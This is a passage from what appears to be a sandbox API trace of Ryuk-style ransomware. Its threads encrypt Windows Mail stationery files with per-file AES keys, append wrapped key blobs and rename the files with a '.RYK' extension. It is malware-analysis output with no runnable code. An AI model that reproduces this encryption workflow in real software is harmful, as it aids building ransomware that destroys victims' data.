	[0237.228] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9c3f6d0, pdwDataLen=0x9c3f660 | out: pbData=0x9c3f6d0*, pdwDataLen=0x9c3f660*=0x10c) returned 1
	[0237.229] WriteFile (in: hFile=0x804, lpBuffer=0x9c3f6d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9c3f650, lpOverlapped=0x0 | out: lpBuffer=0x9c3f6d0*, lpNumberOfBytesWritten=0x9c3f650*=0x10c, lpOverlapped=0x0) returned 1
	[0237.229] CloseHandle (hObject=0x804) returned 1
	[0237.992] CryptDestroyKey (hKey=0x2b9060) returned 1
	[0237.992] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2734
	os_tid = 0x9d8

	[0237.572] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", dwFileAttributes=0x80) returned 1
	[0237.640] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818
	[0237.640] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x9e9f8d8 | out: lpFileSize=0x9e9f8d8*=1074) returned 1
	[0237.640] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x9e9f8e8 | out: lpFileSize=0x9e9f8e8*=1074) returned 1
	[0237.641] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0237.641] ReadFile (in: hFile=0x818, lpBuffer=0x9e9f930, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9e9f8a0, lpOverlapped=0x0 | out: lpBuffer=0x9e9f930*, lpNumberOfBytesRead=0x9e9f8a0*=0x19, lpOverlapped=0x0) returned 1
	[0237.648] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.648] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9e9f8b8 | out: phKey=0x9e9f8b8*=0x2f6690) returned 1
	[0237.648] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.649] ReadFile (in: hFile=0x818, lpBuffer=0x3a90000, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x9e9f8c4, lpOverlapped=0x0 | out: lpBuffer=0x3a90000*, lpNumberOfBytesRead=0x9e9f8c4*=0x432, lpOverlapped=0x0) returned 1
	[0237.995] CryptEncrypt (in: hKey=0x2f6690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9e9f8c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9e9f8c0*=0xf4250) returned 1
	[0237.995] CryptEncrypt (in: hKey=0x2f6690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a90000*, pdwDataLen=0x9e9f8c8*=0x432, dwBufLen=0xf4250 | out: pbData=0x3a90000*, pdwDataLen=0x9e9f8c8*=0x440) returned 1
	[0237.995] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.995] WriteFile (in: hFile=0x818, lpBuffer=0x3a90000*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x9e9f8c4, lpOverlapped=0x0 | out: lpBuffer=0x3a90000*, lpNumberOfBytesWritten=0x9e9f8c4*=0x440, lpOverlapped=0x0) returned 1
	[0238.413] WriteFile (in: hFile=0x818, lpBuffer=0x9e9f8f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9e9f8d0, lpOverlapped=0x0 | out: lpBuffer=0x9e9f8f0*, lpNumberOfBytesWritten=0x9e9f8d0*=0x6, lpOverlapped=0x0) returned 1
	[0238.413] CryptExportKey (in: hKey=0x2f6690, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9e9f8e0 | out: pbData=0x0*, pdwDataLen=0x9e9f8e0*=0x10c) returned 1
	[0238.413] CryptExportKey (in: hKey=0x2f6690, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9e9f950, pdwDataLen=0x9e9f8e0 | out: pbData=0x9e9f950*, pdwDataLen=0x9e9f8e0*=0x10c) returned 1
	[0238.413] WriteFile (in: hFile=0x818, lpBuffer=0x9e9f950*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9e9f8d0, lpOverlapped=0x0 | out: lpBuffer=0x9e9f950*, lpNumberOfBytesWritten=0x9e9f8d0*=0x10c, lpOverlapped=0x0) returned 1
	[0238.413] CloseHandle (hObject=0x818) returned 1
	[0245.081] CryptDestroyKey (hKey=0x2f6690) returned 1
	[0245.082] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2735
	os_tid = 0xb38

	[0237.577] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", dwFileAttributes=0x80) returned 1
	[0237.591] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814
	[0237.591] GetFileSizeEx (in: hFile=0x814, lpFileSize=0xa12fbd8 | out: lpFileSize=0xa12fbd8*=231) returned 1
	[0237.591] GetFileSizeEx (in: hFile=0x814, lpFileSize=0xa12fbe8 | out: lpFileSize=0xa12fbe8*=231) returned 1
	[0237.591] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xa12fbb8 | out: phKey=0xa12fbb8*=0x25f4c0) returned 1
	[0237.592] SetFilePointer (in: hFile=0x814, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.592] ReadFile (in: hFile=0x814, lpBuffer=0x3b90000, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0xa12fbc4, lpOverlapped=0x0 | out: lpBuffer=0x3b90000*, lpNumberOfBytesRead=0xa12fbc4*=0xe7, lpOverlapped=0x0) returned 1
	[0237.596] CryptEncrypt (in: hKey=0x25f4c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa12fbc0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa12fbc0*=0xf4250) returned 1
	[0237.596] CryptEncrypt (in: hKey=0x25f4c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b90000*, pdwDataLen=0xa12fbc8*=0xe7, dwBufLen=0xf4250 | out: pbData=0x3b90000*, pdwDataLen=0xa12fbc8*=0xf0) returned 1
	[0237.596] SetFilePointer (in: hFile=0x814, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.596] WriteFile (in: hFile=0x814, lpBuffer=0x3b90000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xa12fbc4, lpOverlapped=0x0 | out: lpBuffer=0x3b90000*, lpNumberOfBytesWritten=0xa12fbc4*=0xf0, lpOverlapped=0x0) returned 1
	[0237.596] WriteFile (in: hFile=0x814, lpBuffer=0xa12fbf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa12fbd0, lpOverlapped=0x0 | out: lpBuffer=0xa12fbf0*, lpNumberOfBytesWritten=0xa12fbd0*=0x6, lpOverlapped=0x0) returned 1
	[0237.597] CryptExportKey (in: hKey=0x25f4c0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa12fbe0 | out: pbData=0x0*, pdwDataLen=0xa12fbe0*=0x10c) returned 1
	[0237.597] CryptExportKey (in: hKey=0x25f4c0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xa12fc50, pdwDataLen=0xa12fbe0 | out: pbData=0xa12fc50*, pdwDataLen=0xa12fbe0*=0x10c) returned 1
	[0237.597] WriteFile (in: hFile=0x814, lpBuffer=0xa12fc50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa12fbd0, lpOverlapped=0x0 | out: lpBuffer=0xa12fc50*, lpNumberOfBytesWritten=0xa12fbd0*=0x10c, lpOverlapped=0x0) returned 1
	[0237.597] CloseHandle (hObject=0x814) returned 1
	[0238.078] CryptDestroyKey (hKey=0x25f4c0) returned 1
	[0238.079] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2736
	os_tid = 0x2d24

	[0237.582] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", dwFileAttributes=0x80) returned 1
	[0237.635] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814
	[0237.636] GetFileSizeEx (in: hFile=0x814, lpFileSize=0xa2cf5d8 | out: lpFileSize=0xa2cf5d8*=23871) returned 1
	[0237.636] GetFileSizeEx (in: hFile=0x814, lpFileSize=0xa2cf5e8 | out: lpFileSize=0xa2cf5e8*=23871) returned 1
	[0237.636] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x5c1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0237.636] ReadFile (in: hFile=0x814, lpBuffer=0xa2cf630, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa2cf5a0, lpOverlapped=0x0 | out: lpBuffer=0xa2cf630*, lpNumberOfBytesRead=0xa2cf5a0*=0x19, lpOverlapped=0x0) returned 1
	[0237.645] SetFilePointer (in: hFile=0x814, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.645] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xa2cf5b8 | out: phKey=0xa2cf5b8*=0x25f3e0) returned 1
	[0237.646] SetFilePointer (in: hFile=0x814, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.646] ReadFile (in: hFile=0x814, lpBuffer=0x3c90000, nNumberOfBytesToRead=0x5d3f, lpNumberOfBytesRead=0xa2cf5c4, lpOverlapped=0x0 | out: lpBuffer=0x3c90000*, lpNumberOfBytesRead=0xa2cf5c4*=0x5d3f, lpOverlapped=0x0) returned 1
	[0238.418] CryptEncrypt (in: hKey=0x25f3e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa2cf5c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa2cf5c0*=0xf4250) returned 1
	[0238.418] CryptEncrypt (in: hKey=0x25f3e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c90000*, pdwDataLen=0xa2cf5c8*=0x5d3f, dwBufLen=0xf4250 | out: pbData=0x3c90000*, pdwDataLen=0xa2cf5c8*=0x5d40) returned 1
	[0238.418] SetFilePointer (in: hFile=0x814, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0238.419] WriteFile (in: hFile=0x814, lpBuffer=0x3c90000*, nNumberOfBytesToWrite=0x5d40, lpNumberOfBytesWritten=0xa2cf5c4, lpOverlapped=0x0 | out: lpBuffer=0x3c90000*, lpNumberOfBytesWritten=0xa2cf5c4*=0x5d40, lpOverlapped=0x0) returned 1
	[0238.419] WriteFile (in: hFile=0x814, lpBuffer=0xa2cf5f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa2cf5d0, lpOverlapped=0x0 | out: lpBuffer=0xa2cf5f0*, lpNumberOfBytesWritten=0xa2cf5d0*=0x6, lpOverlapped=0x0) returned 1
	[0238.419] CryptExportKey (in: hKey=0x25f3e0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa2cf5e0 | out: pbData=0x0*, pdwDataLen=0xa2cf5e0*=0x10c) returned 1
	[0238.419] CryptExportKey (in: hKey=0x25f3e0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xa2cf650, pdwDataLen=0xa2cf5e0 | out: pbData=0xa2cf650*, pdwDataLen=0xa2cf5e0*=0x10c) returned 1
	[0238.419] WriteFile (in: hFile=0x814, lpBuffer=0xa2cf650*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa2cf5d0, lpOverlapped=0x0 | out: lpBuffer=0xa2cf650*, lpNumberOfBytesWritten=0xa2cf5d0*=0x10c, lpOverlapped=0x0) returned 1
	[0238.420] CloseHandle (hObject=0x814) returned 1
	[0245.683] CryptDestroyKey (hKey=0x25f3e0) returned 1
	[0245.683] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2747
	os_tid = 0x3018

	[0237.588] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", dwFileAttributes=0x80) returned 0
	[0237.588] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.588] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.589] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2748
	os_tid = 0x301c

	[0237.968] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", dwFileAttributes=0x80) returned 0
	[0237.968] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.968] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.969] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2749
	os_tid = 0x3020

	[0238.008] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", dwFileAttributes=0x80) returned 0
	[0238.008] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.009] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.009] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2750
	os_tid = 0x3024

	[0238.012] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", dwFileAttributes=0x80) returned 0
	[0238.012] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.012] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.013] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2751
	os_tid = 0x3028

	[0238.015] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", dwFileAttributes=0x80) returned 0
	[0238.015] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.015] CloseHandle (hObject=0xffffffffffffffff) returned 0
